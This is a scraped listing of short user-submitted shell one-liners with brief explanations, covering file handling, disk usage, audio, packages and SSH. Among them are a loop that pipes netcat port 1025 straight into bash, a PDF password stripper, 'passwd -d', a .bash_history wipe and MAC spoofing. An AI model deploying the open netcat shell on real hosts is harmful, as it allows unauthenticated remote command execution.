1 -name "*.*" | perl -lne '++$x{lc $1} if /[.](.+)$/ }{ print for keys %x' Functions: ls perl All with only one pipe. Should be much faster as well (sort is slow). Use find instead of ls for recursion or reliability. Edit: case insensitive ‹ First < 318 319 320 321 322 > Last › s=`head -$i fileName | tail -1` here $i is line number on which you want to perform some action to perform operation line by line in a file without using sed or awk mkdir ${1..10} no need for seq or eval ls -ad .* List only hidden files List only hidden files (or directories). You also can use: ls -lad .* while true ; do scripts/bootstrap.py ; ./manage.py runserver ; done # N/A Quickly make schema changes in Django I wrote a script called bootstrap.py to delete the database, then load a new database with initial values. With this single-line shell loop, when I need to make a schema change (which happens often in the early stages of some projects), I hit ctrl-C to stop the running Django server, then watch bootstrap.py do its thing, then watch the server restart. 0,30 * * * * php -q /address/to/script.php Execute a PHP script every 30 minutes using crontab Just put this line in a file that resides in your /etc/cron.d/ folder, and you're set. The -q option is used to suppress php headers. ls | while read -r FILE; do mv -v "$FILE" `echo "prependtext$FILE" `; done Prepend string to filename Prepends all directory items with "prependtext" count=`wc -l file | cut -d ' ' -f1` Functions: cut file stores the number of lines of "file" in a variable to use in a loop rec -c 2 -r 44100 -s -t wav - | flac - --sign=signed --channels=2 --endian=big --sample-rate=44100 --bps=16 -f -o file.flac Record live sound from soundcard input to FLAC You'll need to install sox and flac packages in Debian/Ubuntu. dups() { sort "$@" | uniq -d; } shell function to find duplicate lines in a series of files or in stdin rm -rf `ls | head -5000` Functions: head rm a=($(ls *html)) && a=${a[$(expr ${#a[@]} - 1)]} && rm $a Functions: expr ls rm plays with bash arrays. instead of storing the list of files in a temp file, this stores the list in ram, retrieves the last element in the array (the last html file), then removes it. sed -e '/^[[:blank:]]*#/d; s/[[:blank:]][[:blank:]]*#.*//' -e '/^$/d' -e '/^\/\/.*/d' -e '/^\/\*/d;/^ \* /d;/^ \*\//d' /a/file/with/comments Strips comments from at least bash and php scripts. Normal # and // as well as php block comments removes all of the: empty/blank lines lines beginning with # lines beginning with // lines beginning with /* lines beginning with a space and then * lines beginning with */ It also deletes the lines if there's whitespace before any of the above. Add an alias to use in .bashrc like this: alias stripcomments="sed -e '/^[[:blank:]]*#/d; s/[[:blank:]][[:blank:]]*#.*//' -e '/^$/d' -e '/^\/\/.*/d' -e '/^\/\*/d;/^ \* /d;/^ \*\//d'" cat /etc/SuSE-release SUSE LINUX Enterprise Server 9 (x86_64) VERSION = 9 PATCHLEVEL = 4 View SuSE version vi2() {for i in $@; do [ -f "$i" ] && [ ! -w "$i" ] && sudo vim $@ && return; done; vim $@} Functions: sudo vim Like the http://www.commandlinefu.com/commands/view/6327/open-file-with-sudo-when-there-is-no-write-permission, but works (in zsh; my commandlinefu is not strong enough to understand why bash don't like it) with vim options, like -O, and many input files. There could be other mistakes. jd() { cd **/"$@"; } Jump to any directory below the current one Usage: jd dir Requires globstar. To set globstar use: on the listening side: sudo nc -lp 2022 | sudo tar -xvf - and on the sending side: tar -cvzf - ./*| nc -w 3 name_of_listening_host 2022 Functions: sudo tar Copy files over network using compression This is useful for sending data between 2 computers that you have shell access to. Uses tar compression during transfer. Files are compressed & uncompressed automatically. Note the trailing dash on the listening side that makes netcat listen to stdin for data. on the listening side: sudo nc -lp 2022 | sudo tar -xvf - explanation: open netcat to -l listen on -p port 2022, take the data stream and pipe to tar -x extract, -v verbose, -f using file filename - means "stdin" on the sending side: tar -cvzf - ./*| nc -w 3 name_of_listening_host 2022 explanation: compress all files in current dir using tar -c create, -v verbose, -f using file, - filename - here means "stdout" because we're tar -c instead of tar -x, -w3 wait 3 seconds on stream termination and then end the connection to the listening host name_of_listening_host, on port 2022 sleep 4h && halt mplayer http://38.100.101.69/CIDCFMAAC Play music radio from Z-103.5 Create a shortcut on your desktop and insert the above command. vim - I don't know if you've used sqsh before. But it has a handy feature that allows you to switch into vim to complete editing of whatever complicated SQL statement you are trying to run. But I got to thinking -- why doesn't bash have that? Well, it does. It's called '|'! Jk. Seriously, I'm pretty sure this flow of commands will revolutionize how I administer files. And b/c everything is a file on *nx based distros, well, it's handy. First, if your ls is aliased to ls --color=auto, then create another alias in your .bashrc: alias lsp='ls --color=none' Now, let's say you want to rename all files that begin with the prefix 'ras' to files that begin with a 'raster' prefix. You could do it with some bash substitution. But who remembers that? I remember vim macros because I can remember to press 'qa' and how to move around in vim. Plus, it's more incremental. You can check things along the way. That is the secret to development and probably the universe. So type something like: lsp | grep ras Are those all the files you need to move? If not, modify and re-grep. If so, pipe it to vim. lsp | grep ras | vim - Now run your vim macros to modify the first line. Assuming you use 'w' and 'b' to move around, etc., it should work for all lines. Hold down '@@', etc., until your list of files has been modified from ras_a.h ras_a.cpp ras_b.h ras_b.cpp mv ras_a.h raster_a.h mv ras_a.cpp raster_a.cpp mv ras_b.h raster_b.h mv ras_b.h raster_b.cpp then run :%!bash then run :q! then be like, whaaaaa? as you realize your workflow got a little more continuous. maybe. YMMV. complete -W "$(echo `cat .bash_history | egrep '^ssh ' | sort | uniq | sed 's/^ssh //'`;)" ssh Could use your ssh bash history if your known_hosts are hashed and you want to keep it hashed <command> 2> <file> Redirecting stderr to file dd if=/dev/<device location> | gzip -c /<path to backup location>/<disk image name>.img.gz Functions: dd gzip Compress and Backup a disk image passwd -d $USER -d, --delete find -name *.\[c\|h\] | xargs wc -l it recursively searches your project's directories and sum the lines of every source [.c or .h]. Then it gives you the total. gzip -cd file.gz | ssh user@host 'dd of=~/file' $ gzip -cd file.gz | ssh twfcc@myhost 'dd of=~/junk' 0+1 records in 0+1 records out 6 bytes transferred in 0.222 secs (27 bytes/sec) unzip file on local machine copy to remote machine with ssh It is an easy method unzip a file and copy it to remote machine. No unziped file on local hard drive ‹ First < 319 320 321 322 323 > Last › wget http://cmyip.com -O - -o /dev/null | awk '/\<title/ {print $4}' 213.230.123.139 Current host external IP Get external IP of the current machine via http://cmyip.com awk '{ printf "%.2f", $2/1024/1024 ; exit}' /proc/meminfo 1.72 when you can do it , avoid pipe ls |while read line ; do mpg321 -w "$line.wav" "$line" ; done Functions: ls mpg321 read Convert *.mp3 files to *.wav for recording audio cd's cobbler check The following potential problems were detected: #0: yum-utils need to be at least version 1.1.17 for reposync -l, current version is 1.1.16 #1: The default password used by the sample templates for newly installed machines (default_password_crypted in /etc/cobbler/settings) is still set to 'cobbler' and should be changed Check cobbler environment A script that checks if your environment is correctly configured for using cobbler. for z in */*.pdf; do gs -q -dNOPAUSE -dBATCH -sDEVICE=pdfwrite -sOutputFile="$z new" -c .setpdfwrite -f "$z" mv "$z new" "$z"; done for z in */*.pdf; subdirectories for z in *.pdf; current directory.. etc Functions: gs mv Remove password from any pdf in current or sub directories doesnt require knowing the password to pdf echo "Hello world" | base64 SGVsbG8gd29ybGQK Encoding with base64 Also works with files: base64 file SGVsbG8gd29ybGQK To decrypt use the -d option: echo SGVsbG8gd29ybGQK | base64 -d ipconfig /flushdns flush cached dns lookups Windows for i in $(find . -iname '*.html'); do sed '/String/d' $i > $i-tmp; mv $i-tmp $i; done Functions: find mv sed Remove lines with matched string Search in all html files and remove the lines that 'String' is found. pgrep rouge-process | xargs sudo kill -9 Functions: kill sudo xargs Find and kill multiple instances of a process with one simple command. less textfile.gz Read a gzipped text file directly with less. There is no need to 'zcat textfile.gz | less' with newer distros. This is useful for reading archived log files without having to extract, read, and zip when done. while true; do /bin/true; done Generate load on your CPU Loads your CPU, run a instance for each CPU/CORE. ls -shF --color total 24K 4.0K css/ 4.0K images/ 8.0K index.html 8.0K index.html~ use manpages, they give you "ultimate commands" "ls -SshF --color" list by filesize (biggest at the top) "ls -SshFr --color" list by filesize in reverse order (biggest at the bottom) lynx --dump icanhazip.com If curl isn't available, use lynx. alias trash="rm -fr ~/.local/share/Trash" Empty The Trash Force empties the user trash alias o='xdg-open "$@" 2>/dev/null' Open any file and suppress error warnings message use xdg-open without looking at error messages examples msg: (nautilus:3955): Gtk-WARNING **: Theme parsing error: Notebook.css:21:15: Junk at end of value xcopy D:\*.* /s/e/f E:\ Create Bootable USB from ISO file Replace D drive with mounted ISO virtual drive and Replace E with your USB drive letter. sudo apt-get remove --purge `dpkg -l | awk '{print $2}' | grep gnome` && apt-get autoremove kelevra@lab:~$ sudo apt-get remove --purge `dpkg -l | awk '{print $2}' | grep gnome` && apt-get autoremove The following packages were automatically installed and are no longer required: python-renderpm libgtop2-common xsane libmagick++10 libplot2c2 libcamel1.2-14 python-qt4-common python-reportlab-accel libcairomm-1.0-1 libglibmm-2.4-1c2a pstoedit python-qt4 libpangomm-1.4-1 python-qt4-dbus python-sip4 libedataserver1.2-11 libgtkmm-2.4-1c2a libwmf-bin xsane-common libgtop2-7 imagemagick python-elementtree perlmagick python-reportlab libpstoedit0c2a Use 'apt-get autoremove' to remove them. cheese* gksu* gnome-keyring* gnome-mime-data* gnome-mount* hplip-gui* inkscape* libbonoboui2-0* libebook1.2-9* libeel2-2.20* libgksu2-0* libgnome-keyring0* libgnome-menu2* libgnome2-0* libgnome2-common* libgnomecanvas2-0* libgnomecanvas2-common* libgnomeui-0* libgnomeui-common* libgnomevfs2-0* libgnomevfs2-common* libgnomevfs2-extra* libgtkhtml3.14-19* libgtkhtml3.16-cil* libpam-gnome-keyring* monodoc-browser* 0 upgraded, 0 newly installed, 26 to remove and 0 not upgraded. After this operation, 100MB disk space will be freed. Do you want to continue [Y/n]? Remove packages by pattern on debian and based systems Useful for removes a package and its depends, for example to remove the gnome desktop environment, also configuration files will be removed, you should be carefully and sure that you want to do this. rm strangedirs -rf Recursive when needed avoid rm to be recursive until you complete the command: put the -rf at the end! less file.lst | head -n 50000 > output.txt Functions: head less Cut a large wordlist into smaller chunks Useful for situations where you have word lists or dictionaries that range from hundreds of megabytes to several gigabytes in size. Replace file.lst with your wordlist, replace 50000 with however many lines you want the resulting list to be in total. The result will be redirected to output.txt in the current working directory. It may be helpful to run wc -l file.lst to find out how many lines the word list is first, then divide that in half to figure out what value to put for the head -n part of the command. find `pwd` -type f \( -iname thumb.php -or -iname timthumb.php \) -exec grep -HP 'define ?\(.VERSION' {} \; root@server [/home/user/public_html]# find `pwd` -type f \( -iname thumb.php -or -iname timthumb.php \) -exec grep -HP 'define ?\(.VERSION' {} \; /home/user/public_html/domain1/wp-content/themes/arras/library/timthumb.php:define ('VERSION', '1.12'); // version number (to force a cache refresh /home/user/public_html/domain/wp-content/themes/arras/library/timthumb.php:define ('VERSION', '1.12'); // version number (to force a cache refresh Look for timthumb.php or thumb.php and get its version. Good for finding outdated timthumb.php scripts which need to be updated, anything over 2.0 should be secure, below that timthimb is vulnerable and can be used to compromise your website. watch "df | grep /this/folder/" Every 2.0s: df | grep /media/cdrom0 Thu Feb 5 20:24:22 2009 shows the space of a folder in bytes ever two seconds. my $.02 lspci get basic information out of your computer play $audio_file $ play Music/flac/kate_rusby/underneath_the_stars/12_underneath_the_stars.flac Music/flac/kate_rusby/underneath_the_stars/12_underneath_the_stars.flac: Encoding: FLAC Channels: 2 @ 16-bit Track: 12 Samplerate: 44100Hz Album: Underneath The Stars Track gain: -5.9dB Artist: Kate Rusby Duration: 03:23.67 Title: Underneath The Stars 14.6% 00:29.81 [02:53.85] of 03:23.67 Out:1.31M [ ===|=== ] Clip:0 Play audio file "play" is part of "SoX" SoX - Sound eXchange, the Swiss Army knife of audio manipulation. For details, see: man sox biosdecode parses the BIOS memory and prints information about all structures (or entry points) it knows of. superiotool detect the Super I/O chip on your computer, tell you at which configuration port it is located and can dump all the register contents. ‹ First < 320 321 322 323 324 > Last › O=$IFS;IFS=$'\n'; D=$(for f in *;do [[ -d $f ]] && du -sh "$f";done | sort -gr);F=$(for f in *;do [[ -f $f ]] && du -sh "$f";done | sort -gr);IFS=$O;echo "$D";echo "$F" ]> O=$IFS;IFS=$'\n'; D=$(for f in *;do [[ -d $f ]] && du -sh "$f";done | sort -gr);F=$(for f in *;do [[ -f $f ]] && du -sh "$f";done | sort -gr);IFS=$O;echo "$D";echo "$F" 172K images 8.0K css 8.0K index.html~ 8.0K index.html or alias memorable-command=']> O=$IFS;IFS=$'\n'; D=$(for f in *;do [[ -d $f ]] && du -sh "$f";done | sort -gr);F=$(for f in *;do [[ -f $f ]] && du -sh "$f";done | sort -gr);IFS=$O;echo "$D";echo "$F"' and run memorable-command biggest->small directories, then biggest->smallest files function duf { du -k $@ | sort -rn | perl -ne '($s,$f)=split(/\t/,$_,2);for(qw(K M G T)){if($s<1024){$x=($s<10?"%.1f":"%3d");printf("$x$_\t%s",$s,$f);last};$s/=1024}' } Alternative size (human readable) of directories (biggest first) Taken from http://www.earthinfo.org/linux-disk-usage-sorted-by-size-and-human-readable/ atop System load information alongside process information in a similar style to top. echo "" > .bash_history echo -e '#!/bin/bash\nssh remote-user@remote-host $0 "$@"' >> /usr/local/bin/ssh-rpc; chmod +x /usr/local/bin/ssh-rpc; ln -s hostname /usr/local/bin/ssh-rpc; hostname # before home # after work Functions: chmod echo hostname ln SSH RPC (transparently run command on remote host) It's useful mostly for your custom scripts, which running on specific host and tired on ssh'ing every time when you need one simple command (i use it for update remote apt repository, when new package have to be downloaded from another host). taskkill /F /im notepad.exe w: !mailx -s "Some subject" user@host.com Mailing from Vim (set -e; while true; do TEST_COMMAND; done) | tee log Test run starting... SUCCESS FAILURE Functions: set tee Reproduce test failure by running the test in loop If you need to fix a randomly failing test (race condition), you need to run it until you get that hard-to-reproduce failure. find . -type f -exec chmod a-x {} \; ls *.* | while read ITEM; do mv "$ITEM" "`echo $ITEM | rot13`${ITEM:(-4)}"; done Renames files in a directory with ROT13 algorithm. Preserves file extensions. dpkg-query -l| grep -v "ii " | grep "rc " | awk '{print $2" "}' | tr -d "\n" | xargs aptitude purge -y Functions: awk grep tr xargs remove unneeded configuration files in debian This will, for an application that has already been removed but had its configuration left behind, purge that configuration from the system. To test it out first, you can remove the last -y, and it will show you what it will purge without actually doing it. I mean it never hurts to check first, "just in case." ;) s(){ sed 's/./\n\0/g'<<<$1|sort;};cmp -s <(s foobar) <(s farboo)||echo -n "not ";echo anagram Are the two strings anagrams of one another? sed splits up the strings into one character per line the result is sorted cmp compares the results Note: This is not pretty. I just wanted to see if I could do it in bash. Note: It uses fewer characters than the perl version :-) ping -qc 10 server.tld | awk -F/ '/^rtt/ {print $5}' 68.532 Get average ping(1) time from a host Quick and dirty one-liner to get the average ping(1) time from a server. ls -alt /directory/ | awk '{ print $6 " " $7 " -- " $9 }' Print last modified time in 'date -- file' format ps h -o pid,command | grep 'TEXT' | sed 's/^ \+//' | cut -d ' ' -f 1 | xargs -n 1 kill Functions: cut grep ps sed xargs function duf { du -sk "$@" | sort -n | while read size fname; do for unit in k M G T P E Z Y; do if [ $size -lt 1024 ]; then echo -e "${size}${unit}\t${fname}"; break; fi; size=$((size/1024)); done; done; } /usr/share/compiz $ duf * 4k text.xml 8k video.xml 12k session.xml 40k colorfilter.xml 92k staticswitcher.xml 184k shift.xml 356k animation.xml 1M reflection.png Alternative size (human readable) of directories (biggest last) Found this one little more for me. This one removes the perl dependency (from command 2535). Source for command : http://www.earthinfo.org/linux-disk-usage-sorted-by-size-and-human-readable/ Enable Hibernate in OS X find / -name \*string\* route-server2:~# find / -name \*quagga\* /usr/src/quagga /usr/src/quagga/quagga_cvs_md5_bsd_linux_v10.diff /usr/src/quagga/quagga-0.99.10 best command for searching files run as root and use it fo find file you're looking for. removedir () { echo "Deleting the current directory $PWD Are you sure?"; read human; if [[ "$human" = "yes" ]]; then blah=$(echo "$PWD" | sed 's/ /\\ /g'); foo=$(basename "$blah"); rm -Rf ../$foo/ && cd ..; else echo "I'm watching you" | pv -qL 10; fi; } #### Use example #### [user@host Downloads]$ wtzc http://raoulito.info/plugins/pidgin_screenshot/pidgin-sendscreenshot-0.6-3.tar.gz [user@host pidgin-sendscreenshot-0.6-3]$ ls aclocal.m4 config.h.in INSTALL m4 README AUTHORS config.sub install-sh Makefile.am src build-aux configure intltool-extract.in Makefile.in VERSION ChangeLog configure.ac intltool-merge.in missing config COPYING intltool-update.in NEWS config.guess depcomp ltmain.sh po [user@host pidgin-sendscreenshot-0.6-3]$ removedir You are about to delete the current directory /home/user/Downloads/pidgin-sendscreenshot-0.6-3/ Are you sure? yes [user@host Downloads]$ Functions: basename cd echo read rm sed Remove current directory CHANGELOG Version 1.1 removedir () { echo "You are about to delete the current directory $PWD Are you sure?"; read human; if [[ "$human" = "yes" ]]; then blah=$(echo "$PWD" | sed 's/ /\\ /g'); foo=$(basename "$blah"); rm -Rf ../$foo/ && cd ..; else echo "I'm watching you" | pv -qL 10; fi; } BUG FIX: Folders with spaces Version 1.0 removedir () { echo "You are about to delete the current directory $PWD Are you sure?"; read human; if [[ "$human" = "yes" ]]; then blah=`basename $PWD`; rm -Rf ../$blah/ && cd ..; else echo "I'm watching you" | pv -qL 10; fi; } Hidden directories (.dotdirectory) Version 0.9 rmdir () { echo "You are about to delete the current directory $PWD. Are you sure?"; read human; if [[ "$human" = "yes" ]]; then blah=`basename $PWD`; rm -Rf ../$blah/ && cd ..; else echo "I'm watching you" | pv -qL 10; fi; } Removes current directory with recursive and force flags plus basic human check. When prompted type yes 1. [user@host ~]$ ls foo bar 2. [user@host ~]$ cd foo 3. [user@host foo]$ removedir 4. yes 5. rm -Rf foo/ 6. [user@host ~]$ 7. [user@host ~]$ ls bar cat .ssh/id_rsa.pub | ssh user@server "cat >>.ssh/authorized_keys2" ssh Publickey auf remote Rechner anh?ngen trap '' 1 2 20 24(signal number) Ignore the specified signal tail -n 20 ~/Library/Logs/FileSyncAgent.log [2009/02/18 23:48:00.697] Starting automatic sync of "HomeSync_Mirror". [2009/02/18 23:48:20.743] EXCEPTION: Unable to mount remote home volume (Carbon error -2) [2009/02/18 23:48:20.744] Peer "network" is unable to sync. Not enough peers will be available to continue syncing. [2009/02/18 23:48:20.744] Aborting sync of "HomeSync_Mirror". [2009/02/18 23:51:18.084] Sync of "HomeSync_Mirror" encountered errors. (Unable to mount remote home volume (Carbon error -2)) [2009/02/18 23:51:18.084] Last successful sync completed at 2009-02-17 19:38:19 -0500. [2009/02/18 23:51:18.085] Finished sync of "HomeSync_Mirror". Quick scrape of recent mobile home dir file sync for Mac Admins - tested with shell: bash, Mac OSX 10.5 tail would be considered dull, but pair this with being able to push out unix commands over ARD, and life gets easier. (Same can be said for my TimeMachine scrape command, http://xrl.us/begrzb) (cd /bin; set -- *; x=$((1+($RANDOM % $#))); man ${!x}) Functions: cd man set View your machine firewall settings ps aux | grep [c]ommandname omit grep ‹ First < 321 322 323 324 325 > Last › mkpasswd() { head -c $(($1)) /dev/urandom | uuencode - | sed -n 's/.//;2s/\(.\{'$1'\}\).*/\1/p' ;} $ mkpasswd 56 AB:C[)\"=H#J:E()EY>HA6J,R741+ACL&08PC)P4Z#3R^YZ*3L0@O<<6 $ mkpasswd 9 YMO;<&.FB Random password generating function This uses urandom to produce a random password. The random values are uuencoded to ensure only printable characters. This only works for a number of characters between 1 and 60. for /f "delims==" %a in (' dir "%USERPROFILE%\*.sqlite" /s/b ') do echo vacuum;|"sqlite3.exe" "%a" C:\>for /F "delims==" %a in (' dir "%USERPROFILE%\*.sqlite" /s/b ') do echo vacuum; | "sqlite3.exe" "%a" C:\>echo vacuum; | "sqlite3.exe" "C:\Documents and Settings\vutcovici\Application Data\Mozilla\Firefox\Profiles\3apduvcu.default\content-prefs.sqlite" Functions: dir echo This command defragment the SQLite databases found in the home folder of the current Windows user. This is usefull to speed up Firefox startup. The executable sqlite3.exe must be located in PATH or in the current folder. In a script use: for /f "delims==" %%a in (' dir "%USERPROFILE%\*.sqlite" /s/b ') do echo vacuum;|"sqlite3.exe" "%%a" macchanger --random interface macchanger --random eth0 Current MAC: 00:50:8d:49:b9:1e (Abit Computer Corporation) macchanger will allow you to change either 1) mfg code, 2) host id, or 3) all of the above. Use this at wifi hotspots to help reduce profiling. echo -en "$USER@$HOSTNAME:${PWD##*/}> ";while read x;do echo $x>>/tmp/log.txt;echo $x|$0 2>&1;echo -en "$USER@$HOSTNAME:${PWD##*/}> ";done man $(ls -1 /usr/share/man/man?/ | shuf -n1 | cut -d. -f1) Functions: cut ls man Another one. Maybe not the quicker because of the sort command, but it will also look in other man sections. updated with goodevilgenius 'shuf' idea files=(/usr/share/cowsay/cows/*); cowsay -f `echo ${files[$((RANDOM%${#files}))]}` <TEXT> Cowsay Random Cowfile This will show a random cow with cowsay. mkdir `date | sed 's/[: ]/_/g'` Wed_Apr_29_15_53_58_CDT_2009 Functions: mkdir sed -4 journaling directories use today's time stamp to make a unique directory for today or an hour ago ... echo -e "HEAD / HTTP/1.1\nHost: slashdot.org\n\n" | nc slashdot.org 80 | head -n5 | tail -1 | cut -f2 -d- Functions: cut echo head tail gst123 -z **/* Play random playlist cd in_your_music_root_folder and then issue the command say `cat /path/to/textfile.txt` for i in $(tar -tf <file.tar.gz>); do rm $i; done; Remove annoying improperly packaged files that untar into the incorrect directory. Example, When you untar and it extracts hundreds of files into the current directory.... bleh. cat file1 ... fileN > combinedFile; $cat stdHeader tableOfContents introduction body conclusion worksCited index > researchPaper $pwd; ls; /home/ginoman/researchPapers/sample/ body conclusion index introduction researchPaper stdHeader tableOfContents worksCited the last person who posted used the most roundabout way to concatinate files, there's a reason there's a "conCATinate" command... Using this method, you also get to choose the order of the files, below another person just did *.txt > combined.txt which is fine but the order depends on the implementation of "cat" which is probably alphabetical order of filenames. top -b -n 1 |grep httpd|wc -l Functions: grep top wc Of course, the httpd can be replaced with any other process name while sleep 1; do date; (netstat -a -n | grep 80) ; done Functions: grep netstat sleep Polls fos network port usage paste <(banner hello,\ ) <(banner world) # # ####### # # ####### # # ####### ###### # ###### # # # # # # # # # # # # # # # # # ####### ##### # # # # ### # # # # # ###### # # # # # # # # # # ### # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # ####### ####### ####### ####### # ## ## ####### # # ####### ###### Functions: banner paste Prints "hello, world" to the console in very large letters # # ####### # # ####### # # ####### ###### # ###### # # # # # # # # # # # # # # # # # ####### ##### # # # # ### # # # # # ###### # # # # # # # # # # ### # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # ####### ####### ####### ####### # ## ## ####### # # ####### ###### awk '{total+=$0}END{print total}' file svn-clean Wipes out unversioned files from SVN working copy. Much safer to run than your own incantations. I find svn-clean especially useful for when "svn revert -R ." won't undo the many merged in new files. Manually rm'ing all the files with a status of '?' would be a hassle. In debian at least, the svn-clean command comes with the subversion-tools package, otherwise you get the perl script with "svn export find . -name 'spam-*' |xargs rm;find . -name 'spam-*' -print0 | xargs -0 rm /bin/rm: Argument list too long. root@wow/var/spool/clientmqueue # rm spam-* lastfile () { find ${1:-.} -maxdepth 1 -type f -printf "%T+ %p\n" | sort -n | tail -n1 | sed 's/[^[:space:]]\+ //'; } $ ls -lart /tmp | tail -3 $ lastfile /tmp /tmp/image.txt Functions: find sed sort tail Takes a directory name as an argument (defaults to current directory if no arguments are given). Prints the newest file in the directory. date | md5sum cp -a /etc /destination ps ax > processes && cat processes | egrep "*.exe |*exe]" | awk '{ print $1 }' > pstokill && kill $(cat pstokill) && rm processes && rm pstokill (silence if ok; kill usage if there are no EXE/wine programs running) Functions: awk cat egrep kill ps rm This command kills all wine instances and each EXE application working on a PC. Here is command info: 1) ps ax > processes = save process list to file named "processes" (we save it because we don't wont egrep to be found in the future) 2) cat processes | egrep "*.exe |*exe]" = shows the file "processes" and after greps for each *.exe and *exe] in it 3) | awk '{ print $1 }' > pstokill = saves processes PID's to file "pstokill" using awk filter 4) kill $(cat pstokill) = kills each PID in file pstokill, which is shown by cat program 5) rm processes && rm pstokill = removes temporary files while ( nc -l 1025 | bash &> : ) ; do : ; done & $$ (commande PID) Create a Bash command server - You can send it scripts or commands to execute (like this command: http://www.commandlinefu.com/commands/view/9978 ) For send script or commands from the client to the server, use nc too, like that : cat script.sh | nc server 1025 echo "service openvpn restart" | nc server 1025 The loop's inside doesn't do anything, but we can add echo -e "\nCommand received\n" . less file.ext Common key binding for 'less' to search for a string Use the following key binding to search ---------------------------------------------------------------- ng : Jump to line number n. Default is the start of the file. nG : Jump to line number n. Default is the end of the file. /pattern : Search for pattern. Regular expressions can be used. [/ = slash] Press / and then Enter to repeat the previous search pattern. Press ESC and then u to undo search highlighting. n : Go to next match (after a successful search). N : Go to previous match. mletter : Mark the current position with letter. 'letter : Return to position letter. [' = single quote] '^ or g : Go to start of file. '$ or G : Go to end of file. s : Save current content (got from another program like grep) in a file. = or Ctrl+g : File information. F : continually read information from file and follow its end. Useful for logs watching. Use Ctrl+c to exit this mode. -option : Toggle command-line option -option. h : Help. ‹ First < 322 323 324 325 326 > Last › tar -C <source_dir> -cf . | tar -C <dest_dir> -xf :!>test.txt Emptying a text file in one shot in VIM perl -e 'print crypt("PASSWORD",int(rand(128))).$/;' Creating a pseudo-random password wget -q -O- http://www.gutenberg.org/dirs/etext96/cprfd10.txt | sed '1,419d' | tr "\n" " " | tr " " "\n" | perl -lpe 's/\W//g;$_=lc($_)' | grep "^[a-z]" | awk 'length > 1' | sort | uniq -c | awk '{print $2"\t"$1}' aback 1 abandon 6 abase 1 abased 1 abashed 7 abated 1 abatement 1 Functions: awk grep perl sed sort tr uniq wget count occurences of each word in novel David Copperfield This command might not be useful for most of us, I just wanted to share it to show power of command line. This command removes numbers and single characters from count. I'm sure you can write a shorter version. grep '' -m X file1 > file2 extract a certain number of lines from a file and dump them to another file It extracts X number of lines from file1 and dumps them to file2.Using grep with the empty string '' extracts the complete lines (i.e. no filtering takes place) and the -m flag indicates how many lines to extract out from the given file. Then using the redirect > operator we send the extracted lines to a new file. while (( $i != 0 )) { smbstatus; sleep 5; clear } Functions: clear sleep See smbstatus all the time See smbstatus Output within a 5 second interval (for monitoring smb access) svn status app/models/foo.rb; svn commit -m "Changed file" !$ !$ - The last argument to the previous command After a command is run in bash, !$ is set to the last (space-delimited) argument of the command. Great for running several commands against the same file in a row. sh default values foundry-Now-Brocade-ip#sh default values sys log buffers:50 mac age time:300 sec telnet sessions:5 ip arp age:10 min bootp relay max hops:4 ip ttl:64 hops ip addr per intf:24 when multicast enabled : igmp group memb.:140 sec igmp query:60 sec when ospf enabled : ospf dead:40 sec ospf hello:10 sec ospf retrans:5 sec ospf transit delay:1 sec when bgp enabled : bgp local pref.:100 bgp keep alive:60 sec bgp hold:180 sec bgp metric:10 bgp local as:1 bgp cluster id:0 bgp ext. distance:20 bgp int. distance:200 bgp local distance:200 when IS-IS enabled : isis hello interval:10 sec isis hello multiplier:3 isis port metric:10 isis priority:64 isis csnp-interval:10 sec isis default-metric:10 isis distance:115 isis lsp-gen-interval:10 sec isis lsp-interval:33 msec isis lsp-refresh-interval:900 sec isis max-lsp-lifetime:1200 sec isis maximum-paths:4 isis retransmit-interval:5 sec isis spf-interval:5 sec System Parameters Default Maximum Current telnet@HQ-CORE-2(config)#sh default values Functions: sh dm ? foundry-now-Brocade#dm ? acl-fast-lookup-parameters modify ACL fast lookup passes bm Buffer manager card-keepalive-enable toggle to enable/disable keepalive for card FSM clear Clear crash dump corereset Test lp core reset mode crc(on/off portid) Set crc-pass-through mode display-buffer Show display buffer usage dx246 dx246 Switch commands ecc-registers Dump LP ECC registers emac Ether Mac statistics fake-fan-failure fake GD bottom fan failure fake-temperature fake MP/SNM temperature fap Rottweiler Traffic Manager Access fid test fid related functions fid-entry-table show fid-entry-table flow-ctrl(on/off) on/off flow control get-ecmp-hash Get ECMP hash from dst/src mac/ip/port get-mac-hash mac and vlan id -> hash get-mcast-table-entry Get mcast table entry get-src-port-suppression-fid gig-statistics Backplane gig link statistics (read to clear) hw-aging (dis/ena ) Set hw aging mode index test index related functions lacp LACP debug local-mac-addr test for local mac address loop Infinite loop for test timeout mac display mac structure information manu-get Get manufacture information manu-set Set manufacture information monitor Enter Monitor mplp_show_verify toggle mplp show verify mrp show MRP structures and debugging commands mstp display mstp structure information no-hb-reset No heart beat failure reset power-off-slot power off slot power-on-slot power on slot prbs FE-FAP PRBS test pstat display application packet handeling stats raw Show raw packets read-chassis-eeprom read chassis eeprom read-mgmt-eeprom read mgmt eeprom read-mgmt-temp read mgmt temp sensor read-snm-eeprom read snm eeprom redundancy MP redundancy debug reset-slot reset slot reset-snm reset snm rstp display rstp structure information running-config show retrieved running-config rw-power Power supply commands rw-snm Rottweiler switch fabric rw-test RW test comamnds sample CPU sample save Show crash dump scp test SCP related functions scp-fsm-timeout Toggle SCP state machine timeout search-i2c-dev Search Rottweiler I2C devices on a particular serdes-params Test various SerDes params set-mcast-table-entry Set mcast table entry set-module-state-up set module state up set-trunk-threshold-timer Set trunk threshold timer show-mrp-rhp-loss Show MRP RHP loss counters show-scp-ipc-msg-queue Show scp ipc msg queue show-standby-running-config Show standby running config skip-copy-check stp display stp structure information superspan display superspan structure information sysmon System Monitoring system System information test test remote mem read test-port-on-off test port on/off timer timer test commands toggle-giglink-pkt-format toggle giglink pkt format between release 1 and tu(test only) Be a test unit, ie, no aging, no port reset ve display ve structure information vlan display vlan structure information vlangroup display vlan structure information vport display vport structure information vrrp display vrrp and vrrp-extended structure vsrp Show VSRP structure details write-chassis-eeprom write chassis eeprom write-mgmt-eeprom write mgmt eeprom write-snm-eeprom write snm eeprom The sample output, is the command with a ?, to show you all the stuff you can look at. for %f in (c) do dir %f:\*.jpg /s /p Directory of c:\doctemp\dx381 05/31/2007 12:57 AM 1,414 append10.jpg 05/31/2007 12:57 AM 1,467 append11.jpg 05/31/2007 12:57 AM 1,414 append13.jpg 05/31/2007 12:57 AM 1,430 append14.jpg 05/31/2007 12:57 AM 1,430 append15.jpg 05/31/2007 12:57 AM 1,414 append16.jpg Find all jpgs on the PC (DOS command) there is no explicit find command in DOS you can create a batch file with this one and find all jpegs on the C drive ... note: if creating a batch file "find.bat" 